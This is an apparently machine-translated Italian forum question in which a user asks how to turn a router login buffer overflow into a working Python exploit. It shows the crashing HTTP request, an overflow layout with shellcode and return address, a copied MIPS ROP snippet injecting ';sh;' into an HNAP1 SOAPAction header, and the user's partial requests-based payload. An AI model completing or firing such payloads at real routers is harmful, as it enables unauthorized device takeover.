Sto cercando di sviluppare un exploit in python. ma non sono in grado di scrivere un vero exploit. Di seguito sono riportati gli scenari in cui ho riscontrato problemi.
- di seguito è la richiesta HTTP che si verifica in caso di arresto
POST /cgi-bin/index2.asp HTTP/1.1 Host: 192.168.1.x User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.1.1/cgi-bin/index2.asp Cookie: LoginTimes=1; SESSIONID=boasxxxxxxxxxxxxxxxxxxxxxxxxxxxx; TOKEN=413xxxxxxxxxxxxxxxxxxxx Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 126 Username=admin&Logoff=0&hLoginTimes=1&hLoginTimes_Zero=0&value_one=1&Password1=xsss&Password2=xsss&logintype=usr&Password=AAAAAAAA
-
Ora l'overflow del buffer si verifica quando si utilizza il campo password, quindi è come A * 1024 + registro S0 + S1 + S2 + S3 (Qui voglio inserire shellcode) + indirizzo di ritorno (che dovrebbe puntare al codice shell) .
-
Ora voglio scrivere il codice Python che dovrebbe apparire sotto
import socket import struct buf = "POST /HNAP1/ HTTP/1.0\r\nHOST: 192.168.1.8\r\nUser-Agent: test\r\nContent-Length: 1\r\nSOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings/XX" + ";sh;"+"B"*158 buf+="\x2A\xAF\xD0\x84" #S1 -- ROP2 (Pulls Sleep address from S2 which is also stored there before, loads SP+36 is filled in RA with ROP3 and calls Sleep) buf+="\x2A\xB1\x4D\xF0" #S2 -- points to Sleep in library buf+="AAAA"+"AAAA"+"AAAA" #s3,s4,s5 JUNK buf+="\x2A\xB0\xDE\x54" # S6 filled up with pointer to ROP4 which is ultimate mission buf+="AAAA" #s7 JUNK buf+="\x2A\xAC\xAD\x70" # RETN address -- ROP1 (fills a0 with 3 for sleep and s1 is filled before with ROP2 address which buf+="B"*28+"\r\n" + "1\r\n\r\n"
- E il mio codice attuale ha un aspetto simile a
import requests import os,sys,re import struct url = "http://192.168.1.1:80/cgi-bin/index2.asp" cookies = {"LoginTimes": "1", "SESSIONID": "boasid055206d8b3d40bd82bdad6b693341bc3", "TOKEN": "413ab27aa9b4a94a003e3e9c080ec368"} headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Referer": "http://192.168.1.1/cgi-bin/index2.asp", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Content-Type": "application/x-www-form-urlencoded"} data={"Username": "admin", "Logoff": "0", "hLoginTimes": "1", "hLoginTimes_Zero": "0", "value_one": "1", "Password1": "xsss", "Password2": "xss", "logintype": "usr", "Password": "AAAA1024 times\x02\xac\x14\xc30AAAA\x02\xac\x14\xc0AAAAAAAAAA\x02\xac\x14\xc0"} requests.post(url, headers=headers, cookies=cookies, data=data)
Quindi ora la mia domanda è come posso inviare dati = campi nel codice menzionato in 3. perché nel codice sopra menzione ci sono intestazioni HTTP ma nei miei campi exploit ci sono dati non header. O come posso inviare l'indirizzo di memoria nel modulo delle richieste Python. o come posso inviare dati in codice menzionati in 3.
Grazie S3curityB3ast